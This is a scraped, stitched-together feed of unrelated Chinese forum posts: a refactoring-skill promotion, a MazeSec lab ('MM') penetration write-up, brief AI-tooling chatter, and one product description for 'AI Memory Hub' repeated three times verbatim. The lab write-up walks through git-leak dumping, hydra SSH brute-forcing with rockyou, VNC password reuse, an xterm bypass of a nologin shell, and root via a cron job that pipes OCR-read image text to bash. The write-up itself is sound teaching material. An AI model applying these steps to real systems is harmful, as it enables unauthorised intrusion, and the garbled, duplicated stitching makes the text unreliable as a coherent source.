话不多说,直接上代码表现: 旧代码 const editorConfigured = isDesktop && (claudeEnabled || cursorEnabled); const cliNeedsAttention = !cliStatus?.installed || (cliStatus.installed && !cliStatus.version_matches); const showCliCapabilityCard = isDesktop && !cliCardDismissed && cliNeedsAttention; const cliStatusText = !cliStatus ? t("dashboard.cliCardChecking") : cliStatus.installed ? cliStatus.version_matches ? t("dashboard.cliCardInstalled", cliStatus.version || cliStatus.recommended_version) : t("dashboard.cliCardUpgrade", cliStatus.version || "?", cliStatus.recommended_version) : t("dashboard.cliCardNotInstalled"); 新代码 const editorConfigured = isDashboardEditorConfigured(isDesktop, claudeEnabled, cursorEnabled); const showCliCapabilityCard = shouldShowCliCapabilityCard(isDesktop, cliCardDismissed, cliStatus); const cliStatusText = formatDashboardText(getCliStatusText(cliStatus), t); const cliStatusBadgeTone = getCliStatusBadgeTone(cliStatus); 这个 Skill 叫:Semantic Logic Modeling Skill ,直接 Github 搜也行。用于指导编码时如何处理复杂逻辑表达、条件分支、权限、校验、规则、流程、定价、排期、UI 状态以及任何“条件到结果”的判断。 直接告诉 Codex:用 semantic-logic-modeling skill 重构这段复杂业务逻辑。 然后就可以重构任何屎山了,地址在: https://github.com/sahadev/semantic-logic-modeling-skill
靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:MM 作者 :dsz AI总结 今天复盘一下MM靶机。 为了防止有新手不知道打靶机的流程,这次从部署环境开始。(因为我一开始是打ctf的,第一次打靶机还真不知道怎么开始) 环境搭建 本次教程都以MazeSec自制靶机举例,其他的都万变不离其宗。 我们首先下载好靶机环境文件,一般都是一个ova文件。全称:Open Virtualization Appliance(开放虚拟化设备) 其中包括了完整配置信息和虚拟磁盘数据(也就是打开即用的虚拟机,基本不需要在配置,除了网络之类的) 拿到靶机后我们用 VirtualBox 打开(MazeSec的靶机优先支持 VirtualBox , VMware 有可能会有找不到网卡的情况) 我们依次点击:管理—>导入虚拟电脑—>选择文件(需要的靶机ova文件) 我们可以选择改一下位置,我改成了D盘里自建的文件夹。 然后点击完成。等待导入完全(右上角有进度条) 导入后右边可以看到配置详情,我们几乎不要去管,但是有时候会碰到没有找到ip的情况,我们看一看网络设置对不对。这里建议直接选择桥接,特别是对于 VMware 上部署kali的师傅,两个平台的nat网段是不同的(如果你是网络高手或许可以自己去调一下,相关密码需要进入社区获取 ) 然后双击即可打开靶机。我们打开可能会遇到如下报错,不要管他,点一下更改网络设置然后点确定退出就好了。 信息收集 打开靶机后我们就不要管他了(也可以看,我是为了尽量模拟真实环境) 回到我们的攻击机(kali等),注意kali也要桥接哦~ 我们nmap起手收集一下目标ip $ nmap 172.20.10.0/24 -sn #-sn是只发ping包扫描 找到VirtuaBox的网卡就是靶机地址了。 ip: 172.20.10.3 然后在扫一下端口开放情况。 $ nmap -p- 172.20.10.3 #-p-代表扫描全端口 开放 22 、 80 、 5901 、 6001 四个端口。 vnc复盘 VNC 是一种让你用一台电脑(客户端)远程操作另一台电脑(服务器)桌面的技术 5901/tcp :VNC 服务的主端口 大门 ,你从这里连接进去| 6001/tcp :X11 服务端口(Linux图形底层) 内部管道 ,服务器自己用的,你不需要管它| :1 :(显示编号)这是第1号图形会话 如果同时开多个桌面,就是 :1 、 :2 …| 连接命令: vncviewer 172.20.10.3:5901 就和22端口的ssh一样,但是这里突然开始一个vnc也很不正常,需要留意一下。 和ssh一样有可能被暴力破解的可能 初步渗透测试-获取user-shell 我们一般有web的话就先去web看看,因为web的洞会简单一点。 一个静态页面,没思路,那么就去扫一下目录。 $ dirsearch -u 172.20.10.3 看到泄露了很多git文件,那么就是git泄露,我们用工具扒下来看看。 root@JYlover:~/webtool/GitHacker# githacker --url http://172.20.10.3/.git/ --output-folder result 看到有几次提交记录,我们能得到一个域名 mm.dsz 这里我尝试添加一个hosts记录,果然访问到一个登录页面。 不能输入和点击,尝试修改前端代码,但是最后发现完全没有用,就是一个壳子。那这条路就断了。 注意,这里由于环境变化,下面的ip和上面不一样,大家自行理解一下。 于是我们只能再次回到git。 我把几次的git记录都看了一遍,发现过程中添加又删除了一个密码 sublarge 。 尝试用它登录ssh或者vnc,但是都不对。 那没办法,git里也没有什么信息了(4次提交都看过了) 那就只剩下爆破这条路了。我们hydra试试。 ┌──(kali㉿JYlover)-[~] └─$ hydra -l mingmingjiu -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103 -t 4 -e nsr 这里添加 -e nsr 参数测试了弱密码,没想到果然就是用户名复用。 那我们尝试ssh登录。 ┌──(kali㉿JYlover)-[~] └─$ ssh [email protected] #password:mingmingjiu 但是发现登陆成功却直接退出。 原因是该用户的shell被禁用,但是密码是正确的。 既然shell被禁用了,我们可以想到,这里留一个vnc是做什么的,是否存在密码复用问题呢,尝试登录。 ┌──(kali㉿JYlover)-[~] └─$ vncviewer 192.168.56.103:5901 # password:mingmingjiu 成果登录上了vnc桌面。 权限提升-获取root-shell 我们现在是没有shell权限的,那么怎么办呢,这里有一个办法是用其他终端, xterm 然后这里就直接弹了一个shell回来,做权限维持 关于shell权限复盘 这里为什么我们不能ssh登录,也不能直接用terminal,但是用xterm这些古老的终端却可以。 我们先看一下用户信息: mingmingjiu@MM:~$ cat /etc/passwd 能看到mingmingjiu用户的默认shell是 /usr/sbin/nologin 我们ssh登录时:验证成功后,系统会尝试启动你在 /etc/passwd 中定义的 Shell(例如 /bin/bash) 如果定义的是 /usr/sbin/nologin ,系统就会运行这个程序,它会打印一段文字(通常是 “This account is currently not available.”),然后直接断开连接。 而自带terminal也是直接去打开默认shell,但是这里默认shell是 nologin 。 而古老的 xterm ,他不知道去主动找用户默认shell,而是呆呆的直接启动一个sh 所以他没有收到/etc/passwd的影响。 得到shell之后我们就尝试去权限提升了。 我们传一个pspy64到靶机(这是一个监控程序,会一直监控当前的进程,主要是发现一些存在的定时任务等) 这里可能有些刚接触靶机的师傅会不知道,一般我们打靶机会自备一些常用的工具箱,里面有一些什么漏洞扫描,进程监控等等工具,到了提权的时候可以把工具传上去帮助我们信息收集。例如: 这里就是我的工具箱,获得低权限shell时起http服务传一些工具上去。然后靶机上下载下来直接监控: mingmingjiu@MM:~$ wget 192.168.56.1:8888/pspy64 就不全部截图了,有点长,大家明白意思就好了。 然后我们直接pspy监控进程: mingmingjiu@MM:~$ chmod +x pspy64 chmod +x pspy64 mingmingjiu@MM:~$ ./pspy64 明显能看到有些程序在重复执行,而且还是以root身份执行的(UID=0),说明很有可能是作者留给我们的提权点。 能注意到其中有一个 /bin/sh -c /bin/bash /opt/a.sh 一直作为定时任务在执行,后面应该就是它里面执行的命令了。 我们去看看这个文件。 mingmingjiu@MM:~$ cat /opt/a.sh 是bash执行gocr后的结果,这个gocr是什么,我们可以去问一下ai。 很简单,就是把图片里面的文本识别出来。OCR模型就是这个作用。 也就是说如果我们有一张图片 1.png , 里面写着id 然后我们执行gocr ./1.png | bash 就会输出id命令的结果。 那么就很简单了,也就是说只要我们把 /tmp/go.png 换成我们自制的命令图片,然后等定时任务执行。那就可以以root身份执行任意命令了。达到定时任务提权的目的。 总结 总结一下这次靶机接触到的一些知识吧。 vnc是一种和ssh类似的连接远程桌面的技术,通过命令连接 vncviewer <ip>:<port> 当 /etc/passwd 中给用户默认shell指定为 /usr/sbin/nologin 时会导致ssh,以及现代的终端模拟器失效。此时可以使用一些古老的终端如 xterm 等直接起一个终端,而不是走默认终端。 可以通过工具等,多注意定时任务的执行 2 个帖子 - 2 位参与者 阅读完整话题
之前 chatgpt.com 登录和 auth.openai.com 是分开的,都需要分别登录一次。 应该最近改的吧,昨天发现有个模型在执行任务时,无差别读取了我本地的 auth.json,于是在网页端退出所有账号登录。 今天重新授权,发现直接跳转到 chatgpt.com 已登录的账号上,点一下就好了。 5 个帖子 - 4 位参与者 阅读完整话题
想借助一些开源的智能体,在此基础上做关于业务开发、调优,求推荐 3 个帖子 - 3 位参与者 阅读完整话题
AI Memory Hub 企业 AI 知识资产平台。自动采集、智能关联、随时复用。 员工和 AI 的每一次对话,都是企业的知识资产。 人走,知识留下。 [Github]( https://github.com/Vincent-chao-lang/AIHub ) https://aihub.dabuside.top/ 一、产品定位 AI Memory Hub 是一个企业级 AI 知识资产管理平台。它自动采集、整理、关联员工与 AI ( ChatGPT 、Claude 、DeepSeek 等)的所有高质量对话,将其转化为可检索、可关联、可复用的结构化知识资产,实现 **"人走,知识留下,价值继续"**。 二、企业为什么需要它 2.1 一个新问题的出现 2023 年开始,你的员工每天都在和 AI 对话: 研发 → ChatGPT 讨论架构方案 运维 → Claude 解决部署故障 产品 → DeepSeek 做竞品分析 设计 → Gemini 找设计灵感 运营 → Kimi 写内容策略 这些对话里藏着: · 技术决策的推演过程 · 故障排查的完整思路链 · 对业务的深度思考 · 反复验证过的最佳实践 2.2 一个老问题的新形式 传统离职交接: 员工写一份交接文档(如果有的话) → 只记录了"结论",丢失了"思考过程" → AI 对话中的试错、推演、对比全部消失 → 新人面对同样问题,从零开始和 AI 聊 结果: 张三用 AI 花 3 天解决了部署问题,离职了。 李四入职遇到同样的故障,再花 3 天从零开始。 知识在,但不可见。 经验在,但无法复用。 2.3 量化损失 假设一个 50 人的技术团队,每人每天和 AI 进行 5 次有价值的对话: 日均知识产出: 50 × 5 = 250 条 AI 决策/推演记录 月均知识产出: 250 × 22 = 5,500 条 年均知识产出: 5,500 × 12 = 66,000 条 如果 80% 随员工流动而不可检索,每年损失: → 约 52,800 条有价值的知识碎片 → 无数可复用的决策链、故障排查路径、方案对比 每一片碎片背后,都是员工花时间与 AI 碰撞出的认知成果。 三、解决方案 3.1 一句话说清楚 员工用 AI 的同时,系统自动记录、理解、关联每一次对话,构建企业自有 AI 知识图谱。 人来,知识自动汇聚;人走,知识结构化管理,随时被新人检索和复用。 3.2 核心能力 ┌──────────────────────────────────────────────────────┐ │ 自动采集(零门槛) │ │ 浏览器扩展静默运行,员工正常使用 AI ,对话自动入库。 │ │ 不需要手动粘贴,不需要额外操作,不改变工作习惯。 │ └──────────────────────────┬───────────────────────────┘ │ ┌──────────────────────────┴───────────────────────────┐ │ 智能理解(结构化) │ │ 每条对话 → 自动生成标题、标签、摘要 │ │ 跨平台语义搜索 → 用自然语言找到任何历史对话 │ │ 知识图谱 → 自动发现对话之间的深层关联 │ └──────────────────────────┬───────────────────────────┘ │ ┌──────────────────────────┴───────────────────────────┐ │ 知识复用(价值闭环) │ │ 新人遇到问题 → 搜索关键词 → 看到前辈的完整 AI 决策链 │ │ AI 回答时 → 注入历史上下文 → 基于团队知识积累来回答 │ │ 团队知识 → 按人/按项目/按主题 → 随时检索和复用 │ └──────────────────────────────────────────────────────┘ 四、关键场景 场景 1:新人入职 传统方式: 新人花 2-4 周熟悉项目,遇到问题问同事或自己摸索和 AI 对话 → 其实前辈早就和 AI 深入讨论过同样的问题 AI Memory Hub: 新人搜索"微服务部署" → 看到: · 张三 3 个月前与 ChatGPT 的完整架构讨论 · 李四 1 个月前与 Claude 的故障排查全过程 · 系统自动生成的关联对话:CI/CD 配置、容器化方案 → 新人在 AI 提问时,注入前辈的上下文 → AI 基于团队已有认知来回答,而非从零开始 效果:新人上手速度 2x 提升,避免重复踩坑 场景 2:员工离职 传统方式: 张三离职 → 写交接文档 → 文档里的结论,丢失了 90% 的思考过程 → 那场"和 AI 反复讨论了 3 个小时才搞定的故障排查"彻底消失 AI Memory Hub: 张三的所有 AI 对话早已自动归档,按主题分类,图谱关联完整 → 李四搜索同一问题 → 直接看到张三当时的完整认知链 → 不只是结论,还有: · 张三问了什么 · AI 给了哪些方案 · 张三做了什么取舍 · 最终为什么选了方案 A 而不是 B 效果:知识保留率从 10% → 95%,真正的"人走知识留" 场景 3:跨部门经验复用 传统方式: 研发团队用 AI 解决了性能问题 运维团队可能永远不知道这个方案 → 遇到类似问题各自重新摸索 AI Memory Hub: 搜索"数据库性能" → 跨部门、跨平台、跨时间维度的所有相关对话汇聚一处 → 研发的架构思路 + 运维的实战经验 + 产品的业务视角 → 知识自动缝合,打破信息孤岛 效果:团队越用越聪明,知识自适应组织 场景 4:企业 AI 审计与合规 传统方式: 员工和 AI 聊了什么 → 无从知晓 是不是把内部代码贴给了 ChatGPT → 无法审查 大模型使用有没有合规风险 → 没法管理 AI Memory Hub: 所有 AI 对话完整记录,按人、平台、时间可检索 → 管理员可以看到:谁、在什么平台、讨论了什么话题 → 敏感信息自动标记(可配置关键词告警) → 满足企业对 AI 使用的审计和合规需求 效果:AI 使用透明化,安全与效率兼得 五、5 分钟跑起来 git clone https://github.com/Vincent-chao-lang/AIHub.git cd AIHub ./start.sh # 加载浏览器扩展 Chrome → chrome://extensions → 开发者模式 → 加载已解压 → 选择 extension/ 目录 # 打开任意 AI 平台 → 正常聊天 → 点击 🧠 图标 → 检索记忆 # 或访问 http://localhost:5173 → Web 面板 数据完全在本地。 不注册、不联网、不上传。你拥有全部数据。 六、 部署模式 模式 适合 配置 个人本地 个人使用 零配置, ./ start.sh 局域网共享 团队 5-50 人 改 host 为 0.0.0.0 Docker 标准化部署 docker-compose up HTTPS + 反向代理 远程团队 Nginx + Let's Encrypt 详细部署指南 → USAGE.md 七、 存储与扩展 默认 SQLite + ChromaDB + 本地 BGE 模型,零配置开箱即用。 随着团队规模增长,可平滑升级: SQLite + ChromaDB → PostgreSQL + pgvector → Milvus 零配置 改一行 .env 独立集群 < 10 万条 10-100 万条 > 100 万条 Embedding 模型同样支持一行配置切换: 本地 BGE-small ( 512 维) → BGE-large / 其他本地模型 → OpenAI / 智谱 API 默认 改模型名 改 EMBEDDING_PROVIDER 切换 embedding 后运行 python backend/ rebuild_index.py 即可全量重建向量索引。 详细升级路径 → docs/STORAGE.md 八、 项目结构 AIHub/ ├── start.sh # 一键启动 ├── backend/ # FastAPI + SQLite + ChromaDB │ ├── api/routes.py # 10 个 API 端点 │ ├── db/ # 数据库 + 向量存储( ChromaDB/pgvector ) │ ├── models/ # 数据模型 │ └── services/ # embedding · 摘要 · 搜索 · 上下文生成 ├── extension/ # Chrome 扩展 (Manifest V3) │ ├── content/ # 5 平台 DOM 监听 │ ├── sidepanel/ # 侧边栏 UI + 逻辑 │ └── options/ # 设置页 ├── frontend/ # React + Vite + TypeScript + D3.js │ └── src/pages/ # 时间线 · 项目 · 上下文 · 图谱 └── landing/ # 营销页面(中英双语) 九、API 方法 路径 说明 POST /messages 上传消息(自动 embedding + 摘要) GET /timeline 时间线(按对话聚合,支持 ?user_id= 筛选) GET /conversations/{id} 对话详情 GET /conversations/{id}/related 相关对话推荐 POST /search 语义搜索(向量 + 关键词回退) POST /context 图谱驱动上下文生成(含 max_tokens 智能截断) GET /projects 项目聚合 GET /graph 知识图谱数据 GET /stats 统计(总数/平台分布/用户统计/向量索引数/embedding 信息) 十、 设计原则 自动采集 — 知识管理成本从"人"转移到"系统",员工无需额外操作 本地优先 — 数据 100% 归你,也支持服务器部署 企业级扩展 — SQLite → PostgreSQL ,ChromaDB → pgvector ,随规模平滑升级 零摩擦接入 — 不改现有系统,不要求切换 AI 平台,不改变工作习惯 图谱驱动 — 关联发现用本地算法,不依赖外部 LLM ,零成本零延迟 团队即知识 — 同一套系统,一人用是外脑,团队用是知识库
AI Memory Hub 企业 AI 知识资产平台。自动采集、智能关联、随时复用。 员工和 AI 的每一次对话,都是企业的知识资产。 人走,知识留下。 [Github]( https://github.com/Vincent-chao-lang/AIHub ) https://aihub.dabuside.top/ 一、产品定位 AI Memory Hub 是一个企业级 AI 知识资产管理平台。它自动采集、整理、关联员工与 AI ( ChatGPT 、Claude 、DeepSeek 等)的所有高质量对话,将其转化为可检索、可关联、可复用的结构化知识资产,实现 **"人走,知识留下,价值继续"**。 二、企业为什么需要它 2.1 一个新问题的出现 2023 年开始,你的员工每天都在和 AI 对话: 研发 → ChatGPT 讨论架构方案 运维 → Claude 解决部署故障 产品 → DeepSeek 做竞品分析 设计 → Gemini 找设计灵感 运营 → Kimi 写内容策略 这些对话里藏着: · 技术决策的推演过程 · 故障排查的完整思路链 · 对业务的深度思考 · 反复验证过的最佳实践 2.2 一个老问题的新形式 传统离职交接: 员工写一份交接文档(如果有的话) → 只记录了"结论",丢失了"思考过程" → AI 对话中的试错、推演、对比全部消失 → 新人面对同样问题,从零开始和 AI 聊 结果: 张三用 AI 花 3 天解决了部署问题,离职了。 李四入职遇到同样的故障,再花 3 天从零开始。 知识在,但不可见。 经验在,但无法复用。 2.3 量化损失 假设一个 50 人的技术团队,每人每天和 AI 进行 5 次有价值的对话: 日均知识产出: 50 × 5 = 250 条 AI 决策/推演记录 月均知识产出: 250 × 22 = 5,500 条 年均知识产出: 5,500 × 12 = 66,000 条 如果 80% 随员工流动而不可检索,每年损失: → 约 52,800 条有价值的知识碎片 → 无数可复用的决策链、故障排查路径、方案对比 每一片碎片背后,都是员工花时间与 AI 碰撞出的认知成果。 三、解决方案 3.1 一句话说清楚 员工用 AI 的同时,系统自动记录、理解、关联每一次对话,构建企业自有 AI 知识图谱。 人来,知识自动汇聚;人走,知识结构化管理,随时被新人检索和复用。 3.2 核心能力 ┌──────────────────────────────────────────────────────┐ │ 自动采集(零门槛) │ │ 浏览器扩展静默运行,员工正常使用 AI ,对话自动入库。 │ │ 不需要手动粘贴,不需要额外操作,不改变工作习惯。 │ └──────────────────────────┬───────────────────────────┘ │ ┌──────────────────────────┴───────────────────────────┐ │ 智能理解(结构化) │ │ 每条对话 → 自动生成标题、标签、摘要 │ │ 跨平台语义搜索 → 用自然语言找到任何历史对话 │ │ 知识图谱 → 自动发现对话之间的深层关联 │ └──────────────────────────┬───────────────────────────┘ │ ┌──────────────────────────┴───────────────────────────┐ │ 知识复用(价值闭环) │ │ 新人遇到问题 → 搜索关键词 → 看到前辈的完整 AI 决策链 │ │ AI 回答时 → 注入历史上下文 → 基于团队知识积累来回答 │ │ 团队知识 → 按人/按项目/按主题 → 随时检索和复用 │ └──────────────────────────────────────────────────────┘ 四、关键场景 场景 1:新人入职 传统方式: 新人花 2-4 周熟悉项目,遇到问题问同事或自己摸索和 AI 对话 → 其实前辈早就和 AI 深入讨论过同样的问题 AI Memory Hub: 新人搜索"微服务部署" → 看到: · 张三 3 个月前与 ChatGPT 的完整架构讨论 · 李四 1 个月前与 Claude 的故障排查全过程 · 系统自动生成的关联对话:CI/CD 配置、容器化方案 → 新人在 AI 提问时,注入前辈的上下文 → AI 基于团队已有认知来回答,而非从零开始 效果:新人上手速度 2x 提升,避免重复踩坑 场景 2:员工离职 传统方式: 张三离职 → 写交接文档 → 文档里的结论,丢失了 90% 的思考过程 → 那场"和 AI 反复讨论了 3 个小时才搞定的故障排查"彻底消失 AI Memory Hub: 张三的所有 AI 对话早已自动归档,按主题分类,图谱关联完整 → 李四搜索同一问题 → 直接看到张三当时的完整认知链 → 不只是结论,还有: · 张三问了什么 · AI 给了哪些方案 · 张三做了什么取舍 · 最终为什么选了方案 A 而不是 B 效果:知识保留率从 10% → 95%,真正的"人走知识留" 场景 3:跨部门经验复用 传统方式: 研发团队用 AI 解决了性能问题 运维团队可能永远不知道这个方案 → 遇到类似问题各自重新摸索 AI Memory Hub: 搜索"数据库性能" → 跨部门、跨平台、跨时间维度的所有相关对话汇聚一处 → 研发的架构思路 + 运维的实战经验 + 产品的业务视角 → 知识自动缝合,打破信息孤岛 效果:团队越用越聪明,知识自适应组织 场景 4:企业 AI 审计与合规 传统方式: 员工和 AI 聊了什么 → 无从知晓 是不是把内部代码贴给了 ChatGPT → 无法审查 大模型使用有没有合规风险 → 没法管理 AI Memory Hub: 所有 AI 对话完整记录,按人、平台、时间可检索 → 管理员可以看到:谁、在什么平台、讨论了什么话题 → 敏感信息自动标记(可配置关键词告警) → 满足企业对 AI 使用的审计和合规需求 效果:AI 使用透明化,安全与效率兼得 五、5 分钟跑起来 git clone https://github.com/Vincent-chao-lang/AIHub.git cd AIHub ./start.sh # 加载浏览器扩展 Chrome → chrome://extensions → 开发者模式 → 加载已解压 → 选择 extension/ 目录 # 打开任意 AI 平台 → 正常聊天 → 点击 🧠 图标 → 检索记忆 # 或访问 http://localhost:5173 → Web 面板 数据完全在本地。 不注册、不联网、不上传。你拥有全部数据。 六、 部署模式 模式 适合 配置 个人本地 个人使用 零配置, ./ start.sh 局域网共享 团队 5-50 人 改 host 为 0.0.0.0 Docker 标准化部署 docker-compose up HTTPS + 反向代理 远程团队 Nginx + Let's Encrypt 详细部署指南 → USAGE.md 七、 存储与扩展 默认 SQLite + ChromaDB + 本地 BGE 模型,零配置开箱即用。 随着团队规模增长,可平滑升级: SQLite + ChromaDB → PostgreSQL + pgvector → Milvus 零配置 改一行 .env 独立集群 < 10 万条 10-100 万条 > 100 万条 Embedding 模型同样支持一行配置切换: 本地 BGE-small ( 512 维) → BGE-large / 其他本地模型 → OpenAI / 智谱 API 默认 改模型名 改 EMBEDDING_PROVIDER 切换 embedding 后运行 python backend/ rebuild_index.py 即可全量重建向量索引。 详细升级路径 → docs/STORAGE.md 八、 项目结构 AIHub/ ├── start.sh # 一键启动 ├── backend/ # FastAPI + SQLite + ChromaDB │ ├── api/routes.py # 10 个 API 端点 │ ├── db/ # 数据库 + 向量存储( ChromaDB/pgvector ) │ ├── models/ # 数据模型 │ └── services/ # embedding · 摘要 · 搜索 · 上下文生成 ├── extension/ # Chrome 扩展 (Manifest V3) │ ├── content/ # 5 平台 DOM 监听 │ ├── sidepanel/ # 侧边栏 UI + 逻辑 │ └── options/ # 设置页 ├── frontend/ # React + Vite + TypeScript + D3.js │ └── src/pages/ # 时间线 · 项目 · 上下文 · 图谱 └── landing/ # 营销页面(中英双语) 九、API 方法 路径 说明 POST /messages 上传消息(自动 embedding + 摘要) GET /timeline 时间线(按对话聚合,支持 ?user_id= 筛选) GET /conversations/{id} 对话详情 GET /conversations/{id}/related 相关对话推荐 POST /search 语义搜索(向量 + 关键词回退) POST /context 图谱驱动上下文生成(含 max_tokens 智能截断) GET /projects 项目聚合 GET /graph 知识图谱数据 GET /stats 统计(总数/平台分布/用户统计/向量索引数/embedding 信息) 十、 设计原则 自动采集 — 知识管理成本从"人"转移到"系统",员工无需额外操作 本地优先 — 数据 100% 归你,也支持服务器部署 企业级扩展 — SQLite → PostgreSQL ,ChromaDB → pgvector ,随规模平滑升级 零摩擦接入 — 不改现有系统,不要求切换 AI 平台,不改变工作习惯 图谱驱动 — 关联发现用本地算法,不依赖外部 LLM ,零成本零延迟 团队即知识 — 同一套系统,一人用是外脑,团队用是知识库
AI Memory Hub 企业 AI 知识资产平台。自动采集、智能关联、随时复用。 员工和 AI 的每一次对话,都是企业的知识资产。 人走,知识留下。 [Github]( https://github.com/Vincent-chao-lang/AIHub ) https://aihub.dabuside.top/ 一、产品定位 AI Memory Hub 是一个企业级 AI 知识资产管理平台。它自动采集、整理、关联员工与 AI ( ChatGPT 、Claude 、DeepSeek 等)的所有高质量对话,将其转化为可检索、可关联、可复用的结构化知识资产,实现 **"人走,知识留下,价值继续"**。 二、企业为什么需要它 2.1 一个新问题的出现 2023 年开始,你的员工每天都在和 AI 对话: 研发 → ChatGPT 讨论架构方案 运维 → Claude 解决部署故障 产品 → DeepSeek 做竞品分析 设计 → Gemini 找设计灵感 运营 → Kimi 写内容策略 这些对话里藏着: · 技术决策的推演过程 · 故障排查的完整思路链 · 对业务的深度思考 · 反复验证过的最佳实践 2.2 一个老问题的新形式 传统离职交接: 员工写一份交接文档(如果有的话) → 只记录了"结论",丢失了"思考过程" → AI 对话中的试错、推演、对比全部消失 → 新人面对同样问题,从零开始和 AI 聊 结果: 张三用 AI 花 3 天解决了部署问题,离职了。 李四入职遇到同样的故障,再花 3 天从零开始。 知识在,但不可见。 经验在,但无法复用。 2.3 量化损失 假设一个 50 人的技术团队,每人每天和 AI 进行 5 次有价值的对话: 日均知识产出: 50 × 5 = 250 条 AI 决策/推演记录 月均知识产出: 250 × 22 = 5,500 条 年均知识产出: 5,500 × 12 = 66,000 条 如果 80% 随员工流动而不可检索,每年损失: → 约 52,800 条有价值的知识碎片 → 无数可复用的决策链、故障排查路径、方案对比 每一片碎片背后,都是员工花时间与 AI 碰撞出的认知成果。 三、解决方案 3.1 一句话说清楚 员工用 AI 的同时,系统自动记录、理解、关联每一次对话,构建企业自有 AI 知识图谱。 人来,知识自动汇聚;人走,知识结构化管理,随时被新人检索和复用。 3.2 核心能力 ┌──────────────────────────────────────────────────────┐ │ 自动采集(零门槛) │ │ 浏览器扩展静默运行,员工正常使用 AI ,对话自动入库。 │ │ 不需要手动粘贴,不需要额外操作,不改变工作习惯。 │ └──────────────────────────┬───────────────────────────┘ │ ┌──────────────────────────┴───────────────────────────┐ │ 智能理解(结构化) │ │ 每条对话 → 自动生成标题、标签、摘要 │ │ 跨平台语义搜索 → 用自然语言找到任何历史对话 │ │ 知识图谱 → 自动发现对话之间的深层关联 │ └──────────────────────────┬───────────────────────────┘ │ ┌──────────────────────────┴───────────────────────────┐ │ 知识复用(价值闭环) │ │ 新人遇到问题 → 搜索关键词 → 看到前辈的完整 AI 决策链 │ │ AI 回答时 → 注入历史上下文 → 基于团队知识积累来回答 │ │ 团队知识 → 按人/按项目/按主题 → 随时检索和复用 │ └──────────────────────────────────────────────────────┘ 四、关键场景 场景 1:新人入职 传统方式: 新人花 2-4 周熟悉项目,遇到问题问同事或自己摸索和 AI 对话 → 其实前辈早就和 AI 深入讨论过同样的问题 AI Memory Hub: 新人搜索"微服务部署" → 看到: · 张三 3 个月前与 ChatGPT 的完整架构讨论 · 李四 1 个月前与 Claude 的故障排查全过程 · 系统自动生成的关联对话:CI/CD 配置、容器化方案 → 新人在 AI 提问时,注入前辈的上下文 → AI 基于团队已有认知来回答,而非从零开始 效果:新人上手速度 2x 提升,避免重复踩坑 场景 2:员工离职 传统方式: 张三离职 → 写交接文档 → 文档里的结论,丢失了 90% 的思考过程 → 那场"和 AI 反复讨论了 3 个小时才搞定的故障排查"彻底消失 AI Memory Hub: 张三的所有 AI 对话早已自动归档,按主题分类,图谱关联完整 → 李四搜索同一问题 → 直接看到张三当时的完整认知链 → 不只是结论,还有: · 张三问了什么 · AI 给了哪些方案 · 张三做了什么取舍 · 最终为什么选了方案 A 而不是 B 效果:知识保留率从 10% → 95%,真正的"人走知识留" 场景 3:跨部门经验复用 传统方式: 研发团队用 AI 解决了性能问题 运维团队可能永远不知道这个方案 → 遇到类似问题各自重新摸索 AI Memory Hub: 搜索"数据库性能" → 跨部门、跨平台、跨时间维度的所有相关对话汇聚一处 → 研发的架构思路 + 运维的实战经验 + 产品的业务视角 → 知识自动缝合,打破信息孤岛 效果:团队越用越聪明,知识自适应组织 场景 4:企业 AI 审计与合规 传统方式: 员工和 AI 聊了什么 → 无从知晓 是不是把内部代码贴给了 ChatGPT → 无法审查 大模型使用有没有合规风险 → 没法管理 AI Memory Hub: 所有 AI 对话完整记录,按人、平台、时间可检索 → 管理员可以看到:谁、在什么平台、讨论了什么话题 → 敏感信息自动标记(可配置关键词告警) → 满足企业对 AI 使用的审计和合规需求 效果:AI 使用透明化,安全与效率兼得 五、5 分钟跑起来 git clone https://github.com/Vincent-chao-lang/AIHub.git cd AIHub ./start.sh # 加载浏览器扩展 Chrome → chrome://extensions → 开发者模式 → 加载已解压 → 选择 extension/ 目录 # 打开任意 AI 平台 → 正常聊天 → 点击 🧠 图标 → 检索记忆 # 或访问 http://localhost:5173 → Web 面板 数据完全在本地。 不注册、不联网、不上传。你拥有全部数据。 六、 部署模式 模式 适合 配置 个人本地 个人使用 零配置, ./ start.sh 局域网共享 团队 5-50 人 改 host 为 0.0.0.0 Docker 标准化部署 docker-compose up HTTPS + 反向代理 远程团队 Nginx + Let's Encrypt 详细部署指南 → USAGE.md 七、 存储与扩展 默认 SQLite + ChromaDB + 本地 BGE 模型,零配置开箱即用。 随着团队规模增长,可平滑升级: SQLite + ChromaDB → PostgreSQL + pgvector → Milvus 零配置 改一行 .env 独立集群 < 10 万条 10-100 万条 > 100 万条 Embedding 模型同样支持一行配置切换: 本地 BGE-small ( 512 维) → BGE-large / 其他本地模型 → OpenAI / 智谱 API 默认 改模型名 改 EMBEDDING_PROVIDER 切换 embedding 后运行 python backend/ rebuild_index.py 即可全量重建向量索引。 详细升级路径 → docs/STORAGE.md 八、 项目结构 AIHub/ ├── start.sh # 一键启动 ├── backend/ # FastAPI + SQLite + ChromaDB │ ├── api/routes.py # 10 个 API 端点 │ ├── db/ # 数据库 + 向量存储( ChromaDB/pgvector ) │ ├── models/ # 数据模型 │ └── services/ # embedding · 摘要 · 搜索 · 上下文生成 ├── extension/ # Chrome 扩展 (Manifest V3) │ ├── content/ # 5 平台 DOM 监听 │ ├── sidepanel/ # 侧边栏 UI + 逻辑 │ └── options/ # 设置页 ├── frontend/ # React + Vite + TypeScript + D3.js │ └── src/pages/ # 时间线 · 项目 · 上下文 · 图谱 └── landing/ # 营销页面(中英双语) 九、API 方法 路径 说明 POST /messages 上传消息(自动 embedding + 摘要) GET /timeline 时间线(按对话聚合,支持 ?user_id= 筛选) GET /conversations/{id} 对话详情 GET /conversations/{id}/related 相关对话推荐 POST /search 语义搜索(向量 + 关键词回退) POST /context 图谱驱动上下文生成(含 max_tokens 智能截断) GET /projects 项目聚合 GET /graph 知识图谱数据 GET /stats 统计(总数/平台分布/用户统计/向量索引数/embedding 信息) 十、 设计原则 自动采集 — 知识管理成本从"人"转移到"系统",员工无需额外操作 本地优先 — 数据 100% 归你,也支持服务器部署 企业级扩展 — SQLite → PostgreSQL ,ChromaDB → pgvector ,随规模平滑升级 零摩擦接入 — 不改现有系统,不要求切换 AI 平台,不改变工作习惯 图谱驱动 — 关联发现用本地算法,不依赖外部 LLM ,零成本零延迟 团队即知识 — 同一套系统,一人用是外脑,团队用是知识库
